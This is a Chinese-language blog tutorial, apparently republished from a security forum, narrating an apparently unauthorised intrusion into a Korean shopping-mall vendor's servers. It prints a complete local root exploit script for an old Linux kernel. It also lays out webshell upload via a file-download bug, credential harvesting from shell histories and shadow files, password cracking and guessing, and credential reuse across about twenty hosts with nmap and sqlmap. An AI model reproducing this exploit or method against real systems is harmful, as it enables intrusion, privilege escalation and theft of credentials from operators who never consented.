网站地图    收藏   

主页 > 后端 > 网站安全 >

渗透韩国购物系统 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 00x00 寻找web漏洞获取webshell一般web系统官网都会有demo之类的演示网站 这里通过扫描c段看看都存在哪些旁站可以看出C段大多数IP里都是使用主站的购物商城系统 域名为xx100(数字可以变)...

00x00 寻找web漏洞获取webshell

一般web系统官网都会有demo之类的演示网站 这里通过扫描c段看看都存在哪些旁站

可以看出C段大多数IP里都是使用主站的购物商城系统 域名为xx100(数字可以变).

test.net和其他自主域名 130是主站,136是webmail 环境为php+linux+apache.

本想下载源码白盒测试下寻找漏洞 但kr鸟文没见哪里有下载的 到都是收费的模板什么的.

那么通过某一demo站点寻找到了一个任意文件下载漏洞 因为看到一个file.php文件 这看文件名就清楚 容易存在下载与包含漏洞 测试后果然可以

得到数据库IP和账户密码 站库分离. telnet下数据库ip的3306端口 可以外联mysql版本4.1

那么得到后台的帐号密码 从后台寻找漏洞 通过上传截段得到一个webshell

 

00x01 linux提权密码通杀

查看内核版本uname -a

 

1
Linux xxoo.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux

去1337day寻找exp提权 这里直接给出exp.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit
cat >> /tmp/payload.c <<EOF
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

提权后习惯性的w一下 然后查看/root/.bash_history | grep ssh和.mysql_history得到了ssh root的密码和mysql密码

抓hash破解都省了. 之前c段扫描发现多数IP都为此系统 那么有可能都是统一管理的 root密码也有可能一样 通过nmap扫描C段开放22端口的IP进行测试

1
2
3
root@bt:~# nmap -sP x.x.x.1-254 -oN Desktop/sp.txt
root@bt:~# cat Desktop/sp.txt | grep for | cut -d ' ' -f5>Desktop/sp2.txt
root@bt:~# nmap -sS -p22 -iL Desktop/sp2.txt>Desktop/sp3.txt

测试结果如下如 还是有部分IP密码通杀的

从hostname可以看出 有db、mail、web、backup、ns服务器. 但是主站和其他开放22端口的IP没有测试成功.

先route或者netstat -r看看还有多少IP与之相关可以弄的

1
2
3
4
5
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
x.x.x.128 *                     255.255.255.128 U     0      0        0 eth0
169.254.0.0     *               255.255.0.0     U     0      0        0 eth0
default         x.x.x.129       0.0.0.0         UG    0      0        0 eth0

netmask为128 gw为129 怎么计算我这里给出个图 有时候搞内网时 存在多域多个IP段 要计算有多少台 看这省事

 

00x02 扩大战果

这里除了root用户之外 查看/etc/passwd发现所持服务器中都存在一个master帐号 非root权限.

这帐号有可能是管理员用户管理的 想用root时su一下 一般都这样. 我们cat /etc/shadow下载这master用户hash 使用john --i:all pass.txt进行破解.

但是这样爆破耗时 密码复杂就蛋疼了 这里通过mysql的密码和root密码进行组合猜解

密码都是有点规律的比如mysql密码为xx@数字,root密码为xxx@数字 在加上与域名组合 试了N次得到了master密码为"域名@数字".

使用master密码以及查看/root/.ssh/known_hosts尝试登录其他hosts 这里同样可以登录部分IP

以其中一台为例 从master用户目录下的.bash_history中得到一个密码

但是这个密码测试root时失败 先做个记录. 查看此台内核版本uname -a

 

1
Linux node1.test.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux

这个域名不同 但这内核同样可以通过前面所提供的exp.sh提权

先把root hash读取出来 用john放着破解. 在看看其他信息

 

00x03 搞定主站

上面通过提权得到了root hash,但是爆破与组合猜解都没能试出来.

这里可以想到是之前有从.bash_history里获取到su的root密码

那么我们试着从其他IP中即使没提权的 通过find /home/ -name .bash_history寻找这些操作记录

幸运的是从其中一台获取到了su密码 测试登录130主站成功拿下 以及其他几台IP 截图留恋.

 

00x04 总结

期间有使用su密码记录 但是last -20发现管理个把月才登一次 这里作罢.

拿到多个数据库root权限 收集了下账户密码 匹配测试也没效果 都是web的没啥大作用.

那么主站及其C段拿了差不多20台左右 因为nmap能扫到的也就20多台 这剩下的就没继续.

通过google搜索(大家可以爬爬ping IP)发现还有一个asp跟asp.net站点 使用awvs对web进行扫描

发现存在一个blind sql injection,丢到sqlmap里跑跑,过程如sqlmap注入. 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论